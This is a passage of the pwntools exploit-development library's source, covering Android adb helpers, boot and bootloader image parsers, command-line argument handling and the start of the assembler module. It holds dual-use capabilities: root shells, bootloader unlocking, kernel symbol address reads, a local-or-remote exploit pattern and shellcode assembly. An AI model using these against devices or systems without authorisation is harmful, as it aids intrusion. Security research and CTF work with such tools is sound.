adb.root() >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS Linux version ... """ if isinstance(argv, (bytes, six.text_type)): argv = [argv] message = "Starting %s process %r" % ('Android', argv[0]) if log.isEnabledFor(logging.DEBUG): if argv != [argv[0]]: message += ' argv=%r ' % argv with log.progress(message) as p: return AdbClient().execute(argv) @with_device def interactive(**kw): """Spawns an interactive shell.""" return shell(**kw).interactive() @with_device def shell(**kw): """Returns an interactive shell.""" return process(['sh', '-i'], **kw) @with_device def which(name, all = False, *a, **kw): """Retrieves the full path to a binary in ``$PATH`` on the device Arguments: name(str): Binary name all(bool): Whether to return all paths, or just the first *a: Additional arguments for :func:`.adb.process` **kw: Additional arguments for :func:`.adb.process` Returns: Either a path, or list of paths Example: .. doctest:: :skipif: skip_android >>> adb.which('sh') '/system/bin/sh' >>> adb.which('sh', all=True) ['/system/bin/sh', '/vendor/bin/sh'] >>> adb.which('foobar') is None True >>> adb.which('foobar', all=True) [] """ # Unfortunately, there is no native 'which' on many phones. which_cmd = ''' (IFS=: for directory in $PATH; do [ -x "$directory/{name}" ] || continue; echo -n "$directory/{name}\\x00"; done ) [ -x "{name}" ] && echo -n "$PWD/{name}\\x00" '''.format(name=name) which_cmd = which_cmd.strip() data = process(['sh','-c', which_cmd], *a, **kw).recvall() data = _decode(data) result = [] for path in data.split('\x00'): # Skip empty entries if not path: continue # Return the first entry if all=False if not all: return path # Accumulate all entries if all=True result.append(path) if all: return result return None @with_device def whoami(): """Returns current shell user Example: .. doctest:: :skipif: skip_android >>> adb.whoami() b'root' """ return process(['sh','-ic','echo $USER']).recvall().strip() @with_device def forward(port): """Sets up a port to forward to the device.""" tcp_port = 'tcp:%s' % port adb(['forward', tcp_port, tcp_port]) atexit.register(lambda: adb(['forward', '--remove', tcp_port])) @context.quietfunc @with_device def logcat(stream=False): """Reads the system log file. By default, causes logcat to exit after reading the file. Arguments: stream(bool): If :const:`True`, the contents are streamed rather than read in a one-shot manner. Default is :const:`False`. Returns: If ``stream`` is :const:`False`, returns a string containing the log data. Otherwise, it returns a :class:`pwnlib.tubes.tube.tube` connected to the log output. """ if stream: return process(['logcat']) else: return process(['logcat', '-d']).recvall() @with_device def pidof(name): """Returns a list of PIDs for the named process.""" with context.quiet: # Older devices have a broken 'pidof', apparently. # Try pgrep first. io = process(['pgrep', name]) data = io.recvall() if 'not found' in data: io = process(['pidof', name]) data = io.recvall() return list(map(int, data.split())) @with_device def proc_exe(pid): """Returns the full path of the executable for the provided PID. Example: .. doctest:: :skipif: skip_android >>> adb.proc_exe(1) b'/system/bin/init' """ with context.quiet: io = process(['realpath','/proc/%d/exe' % pid]) data = io.recvall().strip() return data @with_device def getprop(name=None): """Reads a properties from the system property store. Arguments: name(str): Optional, read a single property. Returns: If ``name`` is not specified, a ``dict`` of all properties is returned. Otherwise, a string is returned with the contents of the named property. Example: .. doctest:: :skipif: skip_android >>> adb.getprop() # doctest: +ELLIPSIS {...} """ with context.quiet: if name: result = process(['getprop', name]).recvall().strip() result = _decode(result) return result result = process(['getprop']).recvall() result = _decode(result) expr = r'\[([^\]]+)\]: \[(.*)\]' props = {} for line in result.splitlines(): if not line.startswith('['): continue name, value = re.search(expr, line).groups() if value.isdigit(): value = int(value) props[name] = value return props @with_device def setprop(name, value): """Writes a property to the system property store.""" return process(['setprop', name, value]).recvall().strip() @with_device def listdir(directory='/'): """Returns a list containing the entries in the provided directory. Note: This uses the SYNC LIST functionality, which runs in the adbd SELinux context. If adbd is running in the su domain ('adb root'), this behaves as expected. Otherwise, less files may be returned due to restrictive SELinux policies on adbd. """ return sorted(AdbClient().list(directory)) @with_device def fastboot(args, *a, **kw): """Executes a fastboot command. Returns: The command output. """ argv = ['fastboot', '-s', str(context.device)] + list(args) return tubes.process.process(argv, *a, **kw).recvall() @with_device def fingerprint(): """Returns the device build fingerprint.""" return getprop('ro.build.fingerprint') @with_device def product(): """Returns the device product identifier.""" return getprop('ro.build.product') @with_device def build(): """Returns the Build ID of the device.""" return getprop('ro.build.id') @with_device @no_emulator def unlock_bootloader(): """Unlocks the bootloader of the device. Note: This requires physical interaction with the device. """ w = log.waitfor("Unlocking bootloader") with w: if getprop('ro.oem_unlock_supported') == '0': log.error("Bootloader cannot be unlocked: ro.oem_unlock_supported=0") if getprop('ro.boot.oem_unlock_support') == '0': log.error("Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0") if getprop('sys.oem_unlock_allowed') == '0': log.error("Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first", context.device) AdbClient().reboot_bootloader() # Check to see if it's unlocked before attempting unlock unlocked = fastboot(['getvar', 'unlocked']) if 'unlocked: yes' in unlocked: w.success("Already unlocked") fastboot(['continue']) return fastboot(['oem', 'unlock']) unlocked = fastboot(['getvar', 'unlocked']) fastboot(['continue']) if 'unlocked: yes' not in unlocked: log.error("Unlock failed") class Kernel(object): _kallsyms = None @property def address(self): """Returns kernel address Example: .. doctest:: :skipif: skip_android >>> hex(adb.kernel.address) # doctest: +ELLIPSIS '0x...000' """ return self.symbols['_text'] @property @context.quietfunc def symbols(self): """Returns a dictionary of kernel symbols""" result = {} for line in self.kallsyms.splitlines(): fields = line.split() address = int(fields[0], 16) name = fields[-1] result[name] = address return result @property @context.quietfunc def kallsyms(self): """Returns the raw output of kallsyms""" if not self._kallsyms: self._kallsyms = {} root() write('/proc/sys/kernel/kptr_restrict', '1') self._kallsyms = read('/proc/kallsyms').decode('ascii') return self._kallsyms @property @context.quietfunc def version(self): """Returns the kernel version of the device.""" root() return read('/proc/version').strip() @property @context.quietfunc def cmdline(self): root() return read('/proc/cmdline').strip() @property @context.quietfunc def lastmsg(self): root() if 'last_kmsg' in listdir('/proc'): return read('/proc/last_kmsg') if 'console-ramoops' in listdir('/sys/fs/pstore/'): return read('/sys/fs/pstore/console-ramoops') def enable_uart(self): """Reboots the device with kernel logging to the UART enabled.""" model = getprop('ro.product.model') known_commands = { 'Nexus 4': None, 'Nexus 5': None, 'Nexus 6': 'oem config console enable', 'Nexus 5X': None, 'Nexus 6P': 'oem uart enable', 'Nexus 7': 'oem uart-on', } with log.waitfor('Enabling kernel UART'): if model not in known_commands: log.error("Device UART is unsupported.") command = known_commands[model] if command is None: w.success('Always enabled') return # Check the current commandline, it may already be enabled. if any(s.startswith('console=tty') for s in self.cmdline.split()): w.success("Already enabled") return # Need to be root with context.local(device=context.device): # Save off the command line before rebooting to the bootloader cmdline = kernel.cmdline reboot_bootloader() # Wait for device to come online while context.device not in fastboot(['devices',' -l']): time.sleep(0.5) # Try the 'new' way fastboot(command.split()) fastboot(['continue']) wait_for_device() kernel = Kernel() class Property(object): def __init__(self, name=None): # Need to avoid overloaded setattr() so we go through __dict__ self.__dict__['_name'] = name def __str__(self): return str(getprop(self._name)).strip() def __getattr__(self, attr): if attr.startswith('_'): raise AttributeError(attr) if self._name: attr = '%s.%s' % (self._name, attr) return Property(attr) def __setattr__(self, attr, value): if attr in self.__dict__: return super(Property, self).__setattr__(attr, value) if self._name: attr = '%s.%s' % (self._name, attr) setprop(attr, value) def __eq__(self, other): """Allow simple comparison Example: .. doctest:: :skipif: skip_android >>> adb.properties.ro.build.version.sdk == "24" True """ if isinstance(other, six.string_types): return str(self) == other return super(Property, self).__eq__(other) def __hash__(self, other): # Allow hash indices matching on the property return hash(self._name) properties = Property() def _build_date(): """Returns the build date in the form YYYY-MM-DD as a string""" as_string = getprop('ro.build.date') as_datetime = dateutil.parser.parse(as_string) return as_datetime.strftime('%Y-%b-%d') def find_ndk_project_root(source): '''Given a directory path, find the topmost project root. tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar" ''' ndk_directory = os.path.abspath(source) while ndk_directory != '/': if os.path.exists(os.path.join(ndk_directory, 'jni')): break ndk_directory = os.path.dirname(ndk_directory) else: return None return ndk_directory _android_mk_template = ''' LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := %(local_module)s LOCAL_SRC_FILES := %(local_src_files)s include $(BUILD_EXECUTABLE) '''.lstrip() _application_mk_template = ''' LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) APP_ABI:= %(app_abi)s APP_PLATFORM:=%(app_platform)s '''.lstrip() def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21): # Create our project root root = tempfile.mkdtemp() if not isinstance(file_list, (list, tuple)): file_list = [file_list] # Copy over the source file(s) jni_directory = os.path.join(root, 'jni') os.mkdir(jni_directory) for file in file_list: shutil.copy(file, jni_directory) # Create the directories # Populate Android.mk local_module = os.path.basename(file_list[0]) local_module, _ = os.path.splitext(local_module) local_src_files = ' '.join(list(map(os.path.basename, file_list))) Android_mk = os.path.join(jni_directory, 'Android.mk') with open(Android_mk, 'w+') as f: f.write(_android_mk_template % locals()) # Populate Application.mk app_abi = abi app_platform = 'android-%s' % platform_version Application_mk = os.path.join(jni_directory, 'Application.mk') with open(Application_mk, 'w+') as f: f.write(_application_mk_template % locals()) return root def compile(source): r"""Compile a source file or project with the Android NDK. Example: .. doctest:: :skipif: skip_android >>> temp = tempfile.mktemp('.c') >>> write(temp, ''' ... #include ... static char buf[4096]; ... int main() { ... FILE *fp = fopen("/proc/self/maps", "r"); ... int n = fread(buf, 1, sizeof(buf), fp); ... fwrite(buf, 1, n, stdout); ... return 0; ... }''') >>> filename = adb.compile(temp) >>> sent = adb.push(filename, "/data/local/tmp") >>> adb.process(sent).recvall() # doctest: +ELLIPSIS b'... /system/lib64/libc++.so\n...' """ ndk_build = misc.which('ndk-build') if not ndk_build: # Ensure that we can find the NDK. for envvar in ('NDK', 'ANDROID_NDK', 'ANDROID_NDK_ROOT', 'ANDROID_NDK_HOME', 'ANDROID_NDK_LATEST_HOME'): ndk = os.environ.get(envvar) if ndk is not None: break else: log.error('$NDK must be set to the Android NDK directory') ndk_build = os.path.join(ndk, 'ndk-build') # Determine whether the source is an NDK project or a single source file. project = find_ndk_project_root(source) if not project: # Realistically this should inherit from context.arch, but # this works for now. sdk = '21' abi = { 'aarch64': 'arm64-v8a', 'amd64': 'x86_64', 'arm': 'armeabi-v7a', 'i386': 'x86', 'mips': 'mips', 'mips64': 'mips64', }.get(context.arch, None) # If we have an attached device, use its settings. if context.device: abi = getprop('ro.product.cpu.abi') sdk = getprop('ro.build.version.sdk') if abi is None: log.error("Unknown CPU ABI") project = _generate_ndk_project(source, abi, sdk) # Remove any output files lib = os.path.join(project, 'libs') if os.path.exists(lib): shutil.rmtree(lib) # Build the project io = tubes.process.process(ndk_build, cwd=os.path.join(project, 'jni')) result = io.recvall() if 0 != io.poll(): log.error("Build failed:\n%s", result) # Find all of the output files output = glob.glob(os.path.join(lib, '*', '*')) return output[0] class Partition(object): def __init__(self, path, name, blocks=0): self.path = path self.name = name self.blocks = blocks self.size = blocks * 1024 @property def data(self): with log.waitfor('Fetching %r partition (%s)' % (self.name, self.path)): return read(self.path) @with_device def walk(top, topdown=True): join = os.path.join isdir = lambda x: stat.S_ISDIR(x['mode']) client = AdbClient() names = client.list(top) dirs, nondirs = [], [] for name, metadata in names.items(): if isdir(metadata): dirs.append(name) else: nondirs.append(name) if topdown: yield top, dirs, nondirs for name in dirs: new_path = join(top, name) for x in walk(new_path, topdown): yield x if not topdown: yield top, dirs, nondirs @with_device def find(top, name): for root, dirs, files in walk(top): if name in files or name in dirs: yield os.path.join(root, name) @with_device def readlink(path): path = process(['realpath', path]).recvall() # Readlink will emit a single newline # We can't use the '-n' flag since old versions don't support it if path.endswith(b'\n'): path = path[:-1] return path.decode() class Partitions(object): """Enable access to partitions Example: .. doctest:: :skipif: skip_android >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS '0x...000' """ @property @context.quietfunc def by_name_dir(self): try: with context.local(log_level=logging.FATAL): return next(find('/dev/block/platform','by-name')) except (StopIteration, PwnlibException): return '/dev/block' @context.quietfunc def __dir__(self): return list(self) @context.quietfunc def iter_proc_partitions(self): for line in read('/proc/partitions').splitlines(): if not line.strip(): continue major, minor, blocks, name = line.split(None, 4) yield blocks, name.decode() @context.quietfunc @with_device def __iter__(self): root() # Find all named partitions names = set(listdir(self.by_name_dir)) # Find all unnamed partitions for _, name in self.iter_proc_partitions(): names.add(name) return iter(names) def __getattr__(self, attr): if attr.startswith('_'): raise AttributeError(attr) for name in self: if name == attr: break else: raise AttributeError("No partition %r" % attr) path = os.path.join(self.by_name_dir, name) with context.quiet: # Find the actual path of the device devpath = readlink(path) devname = os.path.basename(devpath) # Get the size of the partition for blocks, name in self.iter_proc_partitions(): if name in (devname, attr): break else: log.error("Could not find size of partition %r" % name) return Partition(devpath, attr, int(blocks)) partitions = Partitions() def install(apk, *arguments): """Install an APK onto the device. This is a wrapper around 'pm install', which backs 'adb install'. Arguments: apk(str): Path to the APK to intall (e.g. ``'foo.apk'``) arguments: Supplementary arguments to 'pm install', e.g. ``'-l', '-g'``. """ if not apk.endswith('.apk'): log.error("APK must have .apk extension") basename = os.path.basename(apk) target_path = '/data/local/tmp/{}.apk'.format(basename) with log.progress("Installing APK {}".format(basename)) as p: with context.quiet: p.status('Copying APK to device') push(apk, target_path) p.status('Installing') result = process(['pm', 'install-create', target_path] + list(arguments)).recvall() status = result.splitlines()[-1] if 'Success' not in status: log.error(status) def uninstall(package, *arguments): """Uninstall an APK from the device. This is a wrapper around 'pm uninstall', which backs 'adb uninstall'. Arguments: package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``) arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``. """ with log.progress("Uninstalling package {}".format(package)): with context.quiet: return process(['pm','uninstall',package] + list(arguments)).recvall() @context.quietfunc def packages(): """Returns a list of packages installed on the system""" # Decodes the received bytes as UTF-8 per: # https://developer.android.com/reference/java/nio/charset/Charset#defaultCharset() # where it is specified that UTF-8 is the default charset for Android. packages = process(['pm', 'list', 'packages']).recvall().decode('utf-8') return [line.split('package:', 1)[-1] for line in packages.splitlines()] @context.quietfunc def version(): """Returns rthe platform version as a tuple.""" prop = getprop('ro.build.version.release') return [int(v) for v in prop.split('.')] Gallopsled-pwntools-3ad86ec/pwnlib/adb/bootimg.py000066400000000000000000000025001507273764500222320ustar00rootroot00000000000000from __future__ import division import ctypes BOOT_MAGIC = b"ANDROID!" BOOT_MAGIC_SIZE = 8 BOOT_NAME_SIZE = 16 BOOT_ARGS_SIZE = 512 BOOT_EXTRA_ARGS_SIZE = 1024 class boot_img_hdr(ctypes.Structure): _fields_ = [ ('magic', ctypes.c_char * BOOT_MAGIC_SIZE), ('kernel_size', ctypes.c_uint32), ('kernel_addr', ctypes.c_uint32), ('ramdisk_size', ctypes.c_uint32), ('ramdisk_addr', ctypes.c_uint32), ('second_size', ctypes.c_uint32), ('second_addr', ctypes.c_uint32), ('tags_addr', ctypes.c_uint32), ('page_size', ctypes.c_uint32), ('unused', ctypes.c_uint32), ('os_version', ctypes.c_uint32), ('name', ctypes.c_char * BOOT_NAME_SIZE), ('cmdline', ctypes.c_char * BOOT_ARGS_SIZE), ('id', ctypes.c_char * 8), ('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE), ] class BootImage(object): def __init__(self, data): self.data = data self.header = boot_img_hdr.from_buffer_copy(data) PAGE = self.page_size # The kernel starts at the beginning of the second page. self.kernel = self.data[PAGE:PAGE+self.kernel_size] def __getattr__(self, name): if name.startswith('_'): raise AttributeError(name) return getattr(self.header, name) Gallopsled-pwntools-3ad86ec/pwnlib/adb/bootloader.py000066400000000000000000000074141507273764500227350ustar00rootroot00000000000000from __future__ import unicode_literals from __future__ import division import ctypes import io import os import six import sys from pwnlib.log import getLogger log = getLogger(__name__) class img_info(ctypes.Structure): _fields_ = [ ('name', ctypes.c_char * 64), ('size', ctypes.c_uint32) ] class bootloader_images_header(ctypes.Structure): _fields_ = [ ('magic', ctypes.c_char * 8), ('num_images', ctypes.c_uint32), ('start_offset', ctypes.c_uint32), ('bootldr_size', ctypes.c_uint32), ] BOOTLDR_MAGIC = b'BOOTLDR!' class BootloaderImage(object): def __init__(self, data): """Android Bootloader image Arguments: data(str): Binary data from the image file. """ self.data = data self.header = bootloader_images_header.from_buffer_copy(data) if self.magic != BOOTLDR_MAGIC: log.error("Incorrect magic (%r, expected %r)" % (self.magic, BOOTLDR_MAGIC)) if(self.bootldr_size > len(data)): log.warn_once("Bootloader is supposed to be %#x bytes, only have %#x", self.bootldr_size, len(data)) if(self.num_images >= 0x100): old = self.num_images self.num_images = 1 log.warn_once("Bootloader num_images (%#x) appears corrupted, truncating to 1", old) imgarray = ctypes.ARRAY(img_info, self.num_images) self.img_info = imgarray.from_buffer_copy(data, ctypes.sizeof(self.header)) def extract(self, index_or_name): """extract(index_or_name) -> bytes Extract the contents of an image. Arguments: index_or_name(str,int): Either an image index or name. Returns: Contents of the image. """ if isinstance(index_or_name, six.integer_types): index = index_or_name else: for i in range(len(self.img_info)): if self.img_info[i].name == index_or_name: index = i break else: raise ValueError("Invalid img name: %r" % index_or_name) if index >= len(self.img_info): raise ValueError("index out of range (%s, max %s)" % (index, len(self.img_info))) offset = self.start_offset for i in range(index): offset += self.img_info[i].size return self.data[offset:offset + self.img_info[index].size] def extract_all(self, path): """extract_all(path) Extracts all images to the provided path. The filenames are taken from the image name, with '.img' appended. """ if not os.path.isdir(path): raise ValueError("%r does not exist or is not a directory" % path) for img in self.img_info: imgpath = os.path.join(path, img.name + '.img') with open(imgpath, 'wb+') as f: data = self.extract(img.name) f.write(data) def __str__(self): rv = [] rv.append("Bootloader") rv.append(" Magic: %r" % self.magic) rv.append(" Offset: %#x" % self.start_offset) rv.append(" Size: %#x" % self.bootldr_size) rv.append(" Images: %s" % self.num_images) for img in self.img_info: rv.append(" Name: %s" % img.name) rv.append(" Size: %#x" % img.size) rv.append(" Data: %r..." % self.extract(img.name)[:32]) return '\n'.join(rv) def __getattr__(self, name): if name.startswith('_'): raise AttributeError(name) return getattr(self.header, name) if __name__ == '__main__': # Easy sanity checking b = BootloaderImage(open(sys.argv[1], 'rb').read()) print(b) Gallopsled-pwntools-3ad86ec/pwnlib/adb/protocol.py000066400000000000000000000001671507273764500224420ustar00rootroot00000000000000""" This file exists only for backward compatibility """ from pwnlib.protocols.adb import AdbClient Client = AdbClient Gallopsled-pwntools-3ad86ec/pwnlib/args.py000066400000000000000000000132001507273764500207770ustar00rootroot00000000000000""" Pwntools exposes several magic command-line arguments and environment variables when operating in `from pwn import *` mode. The arguments extracted from the command-line and removed from ``sys.argv``. Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by ``PWNLIB_``. The easiest example is to enable more verbose debugging. Just set ``DEBUG``. .. code-block:: bash $ PWNLIB_DEBUG=1 python exploit.py $ python exploit.py DEBUG These arguments are automatically extracted, regardless of their name, and exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable :data:`args`. Arguments which ``pwntools`` reserves internally are not exposed this way. .. code-block:: bash $ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG defaultdict(, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'}) This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a remote server. Arguments which are not specified evaluate to an empty string. .. code-block:: python if args['REMOTE']: io = remote('exploitme.com', 4141) else: io = process('./pwnable') Arguments can also be accessed directly with the dot operator, e.g.: .. code-block:: python if args.REMOTE: ... Any undefined arguments evaluate to an empty string, ``''``. The full list of supported "magic arguments" and their effects are listed below. """ from __future__ import absolute_import from __future__ import division import collections import logging import os import string import sys from pwnlib import term from pwnlib.context import context class PwnlibArgs(collections.defaultdict): def __getattr__(self, attr): if attr.startswith('_'): raise AttributeError(attr) return self[attr] args = PwnlibArgs(str) term_mode = True env_prefix = 'PWNLIB_' free_form = True # Check to see if we were invoked as one of the 'pwn xxx' scripts. # If so, we don't want to remove e.g. "SYS_" from the end of the command # line, as this breaks things like constgrep. import pwnlib.commandline basename = os.path.basename(sys.argv[0]) if basename == 'pwn' or basename in pwnlib.commandline.__all__: free_form = False def isident(s): """ Helper function to check whether a string is a valid identifier, as passed in on the command-line. """ first = string.ascii_uppercase + '_' body = string.digits + first if not s: return False if s[0] not in first: return False if not all(c in body for c in s[1:]): return False return True def asbool(s): """ Convert a string to its boolean value """ if s.lower() == 'true': return True elif s.lower() == 'false': return False elif s.isdigit(): return bool(int(s)) else: raise ValueError('must be integer or boolean: %r' % s) def LOG_LEVEL(x): """Sets the logging verbosity used via ``context.log_level``, e.g. ``LOG_LEVEL=debug``. """ with context.local(log_level=x): context.defaults['log_level']=context.log_level def LOG_FILE(x): """Sets a log file to be used via ``context.log_file``, e.g. ``LOG_FILE=./log.txt``""" context.log_file=x def SILENT(x): """Sets the logging verbosity to ``error`` which silences most output.""" LOG_LEVEL('error') def DEBUG(x): """Sets the logging verbosity to ``debug`` which displays much more information, including logging each byte sent by tubes.""" LOG_LEVEL('debug') def NOTERM(v): """Disables pretty terminal settings and animations.""" if asbool(v): global term_mode term_mode = False def TIMEOUT(v): """Sets a timeout for tube operations (in seconds) via ``context.timeout``, e.g. ``TIMEOUT=30``""" context.defaults['timeout'] = int(v) def RANDOMIZE(v): """Enables randomization of various pieces via ``context.randomize``""" context.defaults['randomize'] = asbool(v) def NOASLR(v): """Disables ASLR via ``context.aslr``""" context.defaults['aslr'] = not asbool(v) def NOPTRACE(v): """Disables facilities which require ``ptrace`` such as ``gdb.attach()`` statements, via ``context.noptrace``.""" context.defaults['noptrace'] = asbool(v) def STDERR(v): """Sends logging to ``stderr`` by default, instead of ``stdout``""" context.log_console = sys.stderr def LOCAL_LIBCDB(v): """Sets path to local libc-database via ``context.local_libcdb``, e.g. ``LOCAL_LIBCDB='/path/to/libc-databse'``""" context.local_libcdb = v hooks = { 'LOG_LEVEL': LOG_LEVEL, 'LOG_FILE': LOG_FILE, 'DEBUG': DEBUG, 'NOTERM': NOTERM, 'SILENT': SILENT, 'RANDOMIZE': RANDOMIZE, 'TIMEOUT': TIMEOUT, 'NOASLR': NOASLR, 'NOPTRACE': NOPTRACE, 'STDERR': STDERR, 'LOCAL_LIBCDB': LOCAL_LIBCDB, } def initialize(): global args, term_mode # Hack for readthedocs.org if 'READTHEDOCS' in os.environ: os.environ['PWNLIB_NOTERM'] = '1' for k, v in os.environ.items(): if not k.startswith(env_prefix): continue k = k[len(env_prefix):] if k in hooks: hooks[k](v) elif isident(k): args[k] = v argv = sys.argv[:] for arg in sys.argv[:]: orig = arg value = 'True' if '=' in arg: arg, value = arg.split('=', 1) if arg in hooks: sys.argv.remove(orig) hooks[arg](value) elif free_form and isident(arg): sys.argv.remove(orig) args[arg] = value if term_mode: term.init() Gallopsled-pwntools-3ad86ec/pwnlib/asm.py000066400000000000000000000770471507273764500206460ustar00rootroot00000000000000# -*- coding: utf-8 -*- r""" Utilities for assembling and disassembling code. Architecture Selection ------------------------ Architecture, endianness, and word size are selected by using :mod:`pwnlib.context`. Any parameters which can be specified to ``context`` can also be specified as keyword arguments to either :func:`asm` or :func:`disasm`. Assembly ------------------------ To assemble code, simply invoke :func:`asm` on the code to assemble. >>> asm('mov eax, 0') b'\xb8\x00\x00\x00\x00' Additionally, you can use constants as defined in the :mod:`pwnlib.constants` module. >>> asm('mov eax, SYS_execve') b'\xb8\x0b\x00\x00\x00' Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools`` in the :mod:`shellcraft` module. >>> asm(shellcraft.nop()) b'\x90' Disassembly ------------------------ To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble. >>> disasm(b'\xb8\x0b\x00\x00\x00') ' 0: b8 0b 00 00 00 mov eax, 0xb' """ from __future__ import absolute_import from __future__ import division import errno import os import platform import re import shutil import subprocess import tempfile from collections import defaultdict from glob import glob from os import environ from os import path from pwnlib import atexit from pwnlib import shellcraft from pwnlib.context import LocalContext from pwnlib.context import context from pwnlib.log import getLogger from pwnlib.util.hashes import sha1sumhex from pwnlib.util.packing import _encode from pwnlib.version import __version__ log = getLogger(__name__) __all__ = ['asm', 'cpp', 'disasm', 'make_elf', 'make_elf_from_assembly'] _basedir = path.split(__file__)[0] _incdir = path.join(_basedir, 'data', 'includes') def dpkg_search_for_binutils(arch, util): """Use dpkg to search for any available assemblers which will work. Returns: A list of candidate package names. :: >>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as') ['binutils-aarch64-linux-gnu'] """ # Example output: # $ dpkg -S 'arm*linux*-as' # binutils-arm-linux-gnu: /usr/bin/arm-linux-gnu-as # binutils-arm-linux-gnueabihf: /usr/bin/arm-linux-gnueabihf-as # binutils-arm-linux-gnueabihf: /usr/x86_64-linux-gnu/arm-linux-gnueabihf/include/dis-asm.h # binutils-arm-linux-gnu: /usr/x86_64-linux-gnu/arm-linux-gnu/include/dis-asm.h packages = [] try: filename = 'bin/%s*linux*-%s' % (arch, util) output = subprocess.check_output(['dpkg','-S',filename], universal_newlines = True) for line in output.strip().splitlines(): package, path = line.split(':', 1) packages.append(package) except OSError: pass except subprocess.CalledProcessError: pass return packages def print_binutils_instructions(util, context): """On failure to find a binutils utility, inform the user of a way they can get it easily. Doctest: >>> context.clear(arch = 'amd64') >>> pwnlib.asm.print_binutils_instructions('as', context) Traceback (most recent call last): ... PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little') Try installing binutils for this architecture: $ sudo apt-get install binutils """ # This links to our instructions on how to manually install binutils # for several architectures. instructions = 'https://docs.pwntools.com/en/stable/install/binutils.html' # However, if we can directly provide a useful command, go for it. binutils_arch = { 'amd64': 'x86_64', 'arm': 'armeabi', 'thumb': 'armeabi', }.get(context.arch, context.arch) packages = dpkg_search_for_binutils(binutils_arch, util) if packages: instructions = '$ sudo apt-get install %s' % packages[0] log.error(""" Could not find %(util)r installed for %(context)s Try installing binutils for this architecture: %(instructions)s """.strip() % locals()) def check_binutils_version(util): if util_versions[util]: return util_versions[util] result = subprocess.check_output([util, '--version','/dev/null'], stderr=subprocess.STDOUT, universal_newlines=True) if 'clang' in result: log.warn_once('Your binutils is clang-based and may not work!\n' 'Try installing with: https://docs.pwntools.com/en/stable/install/binutils.html\n' 'Reported version: %r', result.strip()) version = re.search(r' (\d+\.\d+)', result).group(1) util_versions[util] = version = tuple(map(int, version.split('.'))) return version @LocalContext def which_binutils(util, check_version=False): """ Finds a binutils in the PATH somewhere. Expects that the utility is prefixed with the architecture name. Examples: >>> import platform >>> which_binutils = pwnlib.asm.which_binutils >>> which_binutils('as', arch=platform.machine()) '.../bin/...as' >>> which_binutils('as', arch='arm') #doctest: +ELLIPSIS '.../bin/arm-...-as' >>> which_binutils('as', arch='powerpc') #doctest: +ELLIPSIS '.../bin/powerpc...-as' >>> which_binutils('as', arch='mips', endianness='little') #doctest: +ELLIPSIS '.../bin/mipsel...-as' >>> which_binutils('as', arch='msp430') #doctest: +SKIP ... Traceback (most recent call last): ... Exception: Could not find 'as' installed for ContextType(arch = 'msp430') """ arch = context.arch # Handle endianness-specific naming for mips/mips64 arch = { ('mips', 'little'): 'mipsel', ('mips64', 'little'): 'mips64el', }.get((arch, context.endianness), arch) # Fix up pwntools vs Debian triplet naming, and account # for 'thumb' being its own pwntools architecture. arches = [arch] + { 'thumb': ['arm', 'aarch64'], 'i386': ['x86_64', 'amd64'], 'i686': ['x86_64', 'amd64'], 'amd64': ['x86_64', 'i386'], 'mips': ['mipsel'], 'mipsel': ['mips'], 'mips64': ['mips', 'mipsel'], 'mips64el': ['mipsel', 'mips'], 'powerpc64': ['powerpc'], 'sparc64': ['sparc'], 'riscv32': ['riscv64', 'riscv'], 'riscv64': ['riscv32', 'riscv'], }.get(arch, []) # If one of the candidate architectures matches the native # architecture, use that as a last resort. machine = platform.machine() machine = 'i386' if machine == 'i686' else machine try: with context.local(arch = machine): if context.arch in arches: arches.append(None) except AttributeError: log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine) utils = [util] # hack for homebrew-installed binutils on mac if platform.system() == 'Darwin': utils = ['g'+util, util] if platform.system() == 'Windows': utils = [util + '.exe'] for arch in arches: for gutil in utils: # e.g. objdump if arch is None: patterns = [gutil] # e.g. aarch64-linux-gnu-objdump, avr-objdump else: patterns = ['%s*linux*-%s' % (arch, gutil), '%s*-elf-%s' % (arch, gutil), '%s-none*-%s' % (arch, gutil), '%s-%s' % (arch, gutil)] for pattern in patterns: for dir in environ['PATH'].split(os.pathsep): for res in sorted(glob(path.join(dir, pattern))): if check_version: ver = check_binutils_version(res) return res, ver return res # No dice! print_binutils_instructions(util, context) util_versions = defaultdict(tuple) def _assembler(): gas, version = which_binutils('as', check_version=True) if version < (2, 19): log.warn_once('Your binutils version is too old and may not work!\n' 'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' 'Reported version: %r', version) E = { 'big': '-EB', 'little': '-EL' }[context.endianness] B = '-%s' % context.bits assemblers = { 'i386' : [gas, B], 'amd64' : [gas, B], # Most architectures accept -EL or -EB 'thumb' : [gas, '-mthumb', E], 'arm' : [gas, E], 'aarch64': [gas, E], 'mips' : [gas, E, B], 'mips64' : [gas, E, B], 'sparc': [gas, E, B], 'sparc64': [gas, E, B], # Powerpc wants -mbig or -mlittle, and -mppc32 or -mppc64 'powerpc': [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits], 'powerpc64': [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits], # ia64 only accepts -mbe or -mle 'ia64': [gas, '-m%ce' % context.endianness[0]], # riscv64-unknown-elf-as supports riscv32 as well as riscv64 'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'], 'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'], } assembler = assemblers.get(context.arch, [gas]) return assembler def _linker(): ld, _ = which_binutils('ld', check_version=True) bfd = 